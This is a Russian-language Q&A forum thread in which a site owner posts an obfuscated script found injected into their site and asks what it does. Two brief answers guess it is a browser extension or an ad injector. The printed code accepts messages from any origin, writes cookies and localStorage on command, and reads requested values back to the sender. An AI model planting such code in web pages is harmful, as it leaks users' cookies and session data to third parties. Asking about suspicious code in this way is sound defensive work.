Что может делать этот внедренный на сайт javascript код?

Добрый день.

Коллеги обнаружили на сайте вот такой скрипт. Похоже на вредоносное ПО. Подскажите что конретно он делает ?
/**
 * @param {Object} evt
 * @return {?}
 */
var a1256157352 = function(evt) {
  if (evt && (evt.data && (evt.data.a540125352 && evt.data.a1204587773))) {
    if ("a939675136" == evt.data.a1204587773) {
      if (!evt.data.a2918445836) {
        return "a2918445836 required";
      }
      var match;
      for (match in evt.data.a2918445836) {
        if (evt.data.a2918445836[match]) {
          a1869877677(match, evt.data.a2918445836[match]);
        }
      }
    } else {
      if ("a2878600925" == evt.data.a1204587773) {
        if (!evt.data.a3029222531 || !evt.data.a39501098) {
          return "a3029222531 and a39501098 required";
        }
        var statesData = {};
        evt.data.a3029222531.forEach(function(storageKey) {
          var unlock = storageKey;
          var data = a470276301(storageKey);
          if (null === data) {
            data = void 0;
          }
          statesData[unlock] = data;
        });
        evt.source.postMessage({
          a540125352 : 1,
          a1204587773 : "a2878600925",
          a39501098 : evt.data.a39501098,
          a2918445836 : statesData
        }, "*");
      }
    }
  }
};
/**
 * @param {string} name
 * @param {string} tabId
 * @return {undefined}
 */
var a1869877677 = function(name, tabId) {
  if (localStorage) {
    localStorage.setItem(name, tabId);
  }
  a2475012037(name, tabId);
};
/**
 * @param {?} storageKey
 * @return {?}
 */
var a470276301 = function(storageKey) {
  var value = a1655291064(storageKey);
  return value ? value : localStorage ? localStorage.getItem(storageKey) : void 0;
};
/**
 * @param {string} key
 * @return {?}
 */
var a1655291064 = function(key) {
  /** @type {(Array.<string>|null)} */
  var matches = document.cookie.match(new RegExp("(?:^|; )" + key.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, "\\$1") + "=([^;]*)"));
  return matches ? decodeURIComponent(matches[1]) : void 0;
};
/**
 * @param {string} keepData
 * @param {string} key
 * @param {Object} params
 * @return {undefined}
 */
var a2475012037 = function(keepData, key, params) {
  params = params || {};
  var value = params.a2593941731 ? params.a2593941731 : "%COOKIELIFE%";
  if ("number" == typeof value && value) {
    /** @type {Date} */
    var start = new Date;
    start.setTime(start.getTime() + 1E3 * value);
    /** @type {Date} */
    value = params.a2593941731 = start;
  }
  if (value) {
    if (value.toUTCString) {
      params.a2593941731 = value.toUTCString();
    }
  }
  /** @type {string} */
  key = encodeURIComponent(key);
  /** @type {string} */
  var str = keepData + "=" + key;
  var i;
  for (i in params) {
    str += "; " + i;
    var param = params[i];
    if (param !== true) {
      str += "=" + param;
    }
  }
  /** @type {string} */
  document.cookie = str;
};
/**
 * @return {undefined}
 */
window.onload = function() {
  if (window.addEventListener) {
    addEventListener("message", a1256157352, false);
  } else {
    attachEvent("onmessage", a1256157352);
  }
  window.parent.postMessage({
    a540125352 : 1,
    a1204587773 : "a4290278612"
  }, "*");
};
  • Вопрос задан
  • 470 просмотров
Решения вопроса 2
alexey-m-ukolov
@alexey-m-ukolov Куратор тега JavaScript
Судя по коду (обработка сообщений, доктайпы, обфускация), это код какого-то расширения для браузера.
Походите по другим сайтам (этот код должен быть на каждом) или зайдите из другого браузера (этого кода не должно быть), чтобы убедиться.
Ответ написан
Комментировать
@Belyh
На сайт встраивает различного рода рекламу и сообщения.
Сноси его с сайта.
Ответ написан
Комментировать
Пригласить эксперта
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Войти через центр авторизации
Похожие вопросы